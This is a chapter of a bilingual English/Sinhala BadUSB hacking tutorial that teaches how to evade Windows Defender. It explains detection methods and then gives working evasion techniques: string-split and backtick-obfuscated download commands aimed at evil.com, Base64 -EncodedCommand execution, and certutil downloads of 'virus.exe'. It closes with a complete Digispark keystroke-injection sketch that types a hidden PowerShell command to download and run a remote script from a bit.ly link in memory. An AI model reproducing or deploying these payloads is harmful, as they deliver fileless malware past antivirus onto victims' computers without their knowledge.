PART 07: GHOST PROTOCOL

STEALTH: ENABLED TARGET: WINDOWS DEFENDER METHOD: OBFUSCATION

24. Know Your Enemy: How Antivirus Works

Before we can bypass Windows Defender, we must understand how it catches us. Modern AVs use two main methods:

  • Signature Detection: It compares your file against a database of known bad files. If your code matches a known virus (e.g., standard Metasploit payload), it gets blocked instantly.
  • Heuristic Analysis: It watches behavior. If a script tries to download a file from the internet and execute it immediately, the AV flags it as "Suspicious Behavior".

24. සතුරා හඳුනාගැනීම: Antivirus ක්‍රියාකරන ආකාරය
Windows Defender එක පරද්දන්න කලින් අපි දැනගන්න ඕනේ ඒක කොහොමද අපිව අල්ලන්නේ කියලා. ඒක ප්‍රධාන ක්‍රම දෙකක් පාවිච්චි කරනවා:
1. Signature Detection (හැඩය බැලීම): මේක හරියට පොලිසිය ළඟ තියෙන අපරාධකරුවන්ගේ ෆොටෝ ඇල්බම් එකක් වගේ. ඔයා ලියන කෝඩ් එක ඒ ඇල්බම් එකේ තියෙන පරණ වයිරස් එකකට සමාන නම්, ඒක දැක්ක ගමන් අල්ලනවා.
2. Heuristic Analysis (හැසිරීම බැලීම): ඔයාගේ කෝඩ් එක අලුත් වුණත්, ඒක කරන වැඩ දිහා බලනවා. උදාහරණයකට, ඉන්ටර්නෙට් එකෙන් ෆයිල් එකක් බාගෙන ඒක රන් කරන්න හැදුවොත්, Defender එකට සැක හිතෙනවා.

🛡️
WINDOWS DEFENDER ALERT:
"Threat Found: Trojan:PowerShell/MaliciousScript.A"
(This is what happens when you don't use obfuscation.)

25. The Art of Obfuscation (Masking)

Obfuscation is the art of making your code look unreadable to the Antivirus, while still being executable by the computer. Think of it as writing a letter in a secret code that only the recipient understands.

Common Techniques:

  • String Splitting: Instead of writing "http", write "h"+"t"+"t"+"p". The AV looks for "http" but can't find it.
  • Case Mixing: PoWeRsHeLL is the same as powershell to Windows, but different to some signature scanners.
  • Variable Renaming: Change $password to $x12a.

25. වෙස් වලා ගැනීම (Obfuscation)
Obfuscation කියන්නේ අපේ කෝඩ් එක කියවන්න බැරි විදිහට, හැබැයි වැඩ කරන විදිහට වෙනස් කරන කලාවට. මේක හරියට Antivirus එකට නොතේරෙන භාෂාවකින් කතා කරනවා වගේ.

සරල උදාහරණ:
1. වචන කැඩීම: `powershell` කියලා කෙළින්ම ලියන්නේ නැතුව `("po"+"wer"+"shell")` කියලා ලියනවා. එතකොට AV එකට ඒක හොයන්න බෑ.
2. අකුරු මාරු කිරීම: `NetSh` සහ `nEtSh` වින්ඩෝස් වලට එකයි, ඒත් සමහර AV වලට දෙකක්.
3. නම් වෙනස් කිරීම: `$pass` වගේ පැහැදිලි නම් වෙනුවට `$a7x` වගේ තේරුමක් නැති නම් දානවා.

[ ORIGINAL CODE ] [ OBFUSCATED CODE ] Invoke-WebRequest I`n`v`o`k`e-W`e`b`R`e`q`u`e`s`t -Uri "http://evil.com" -Uri ("ht"+"tp://"+"ev"+"il.com") -OutFile "virus.exe" -OutFile $env:TEMP+"\v.e" (Clear to AV) (Confusing to AV)

26. The Invisible Cloak: Base64 Encoding

The most powerful way to hide a payload is to encode it entirely into Base64. Base64 turns your script into a long string of random letters and numbers. PowerShell has a special flag -EncodedCommand that allows it to run this gibberish directly.

To the Antivirus, it just looks like a random text string, not a malicious script. This is how we sneak past the "Signature Detection".

26. අදෘශ්‍යමාන කබාය: Base64 Encoding
අපේ මුළු ස්ක්‍රිප්ට් එකම හංගන්න පුළුවන් හොඳම විදිහ තමයි Base64 වලට හරවන එක. Base64 කියන්නේ අපේ කෝඩ් එක ඉංග්‍රීසි අකුරු සහ ඉලක්කම් වැලක් බවට පත් කරන ක්‍රමයක්.

PowerShell වල විශේෂ කමාන්ඩ් එකක් තියෙනවා `-EncodedCommand` කියලා. මේක පාවිච්චි කළාම, අර තේරුමක් නැති අකුරු වැල කෙළින්ම කමාන්ඩ් එකක් විදිහට රන් වෙනවා. Antivirus එකට පේන්නේ නිකන්ම අකුරු ටිකක් විතරයි. මේකෙන් අපිට "Signature Detection" එක ලේසියෙන්ම මගහරින්න පුළුවන්.

# ORIGINAL PAYLOAD:
Write-Host "You have been hacked"

# CONVERTED TO BASE64:
VwByAGkAdABlAC0ASABvAHMAdAAgACIAWQBvAHUAIABoAGEAdgBlACAAYgBlAGUAbgAgAGgAYQBjAGsAZQBkACIA

# HOW WE RUN IT IN BADUSB:
powershell -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgACIAWQBvAHUAIABoAGEAdgBlACAAYgBlAGUAbgAgAGgAYQBjAGsAZQBkACIA

27. Living off the Land (Using Built-in Tools)

Why download a "Virus.exe" when Windows already has tools that can do damage? Living off the Land (LotL) means using trusted Windows tools (like CertUtil, Bitsadmin, PowerShell) to perform attacks.

Example: CertUtil.exe is a tool meant for managing certificates. But hackers use it to download files because Windows Defender trusts CertUtil.

certutil -urlcache -split -f "http://site.com/virus.exe" virus.exe

27. ගෙදර බඩු වලින්ම ගේම දීම (Living off the Land)
ඇයි අපි අලුතින් "Virus.exe" එකක් ඩවුන්ලෝඩ් කරලා අහු වෙන්නේ? වින්ඩෝස් ඇතුළෙම තියෙන හොඳ ටූල්ස් පාවිච්චි කරලා අපිට ඒ දේම කරන්න පුළුවන්. මේකට කියන්නේ **Living off the Land (LotL)** කියලා.

උදාහරණයක්: CertUtil.exe කියන්නේ සහතික (Certificates) කළමනාකරණය කරන ටූල් එකක්. ඒත් හැකර්ලා මේක පාවිච්චි කරනවා වයිරස් ඩවුන්ලෝඩ් කරන්න. මොකද Defender එක CertUtil ව විශ්වාස කරනවා. "මේක වින්ඩෝස්ලගෙම බඩුවක්නේ, මේක නරක වෙන්න බෑ" කියලා Defender හිතනවා.

28. The Final Stealth Payload

Putting it all together. We will create a BadUSB script that:

  1. Opens the "Run" dialog (Win+R) - This is a blind spot for many AVs.
  2. Types a tiny PowerShell command that downloads and executes the real payload from memory (Fileless Malware).
  3. Uses string splitting to hide the word "PowerShell".

28. අවසාන පේලෝඩ් එක (The Stealth Script)
දැන් අපි ඉගෙන ගත්ත හැමදේම එකතු කරලා සුපිරි ස්ක්‍රිප්ට් එකක් හදමු. මේකේ පියවර:
1. Win+R ගහලා Run Box එක ගන්නවා (මේක ගොඩක් AV වලට පේන්නේ නෑ).
2. බොහොම පුංචි කමාන්ඩ් එකක් ටයිප් කරනවා. ඒකෙන් අපේ ලොකු පේලෝඩ් එක ඉන්ටර්නෙට් එකෙන් අරන් මෙමරි එකේම රන් කරනවා (Fileless). හාඩ් ඩිස්ක් එකට මුකුත් සේව් වෙන්නේ නෑ.
3. අපි "PowerShell" කියන වචනේ කෑලි කෑලි වලට කඩලා ලියනවා.

// ARDUINO / DIGISPARK CODE FOR STEALTH
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(0);
  
  // 1. Open Run Dialog
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  
  // 2. Type Obfuscated Command
  // Original: powershell -windowstyle hidden IEX (iwr http://bit.ly/payload)
  // Obfuscated: cmd /c "po"+"wer"+"sh"+"ell" ...
  
  DigiKeyboard.print("cmd /c echo IEX(New-Object Net.WebClient).DownloadString('http://bit.ly/my_stealth_script') | p\"ow\"ers\"he\"ll -noprofile -");
  
  // 3. Execute
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {}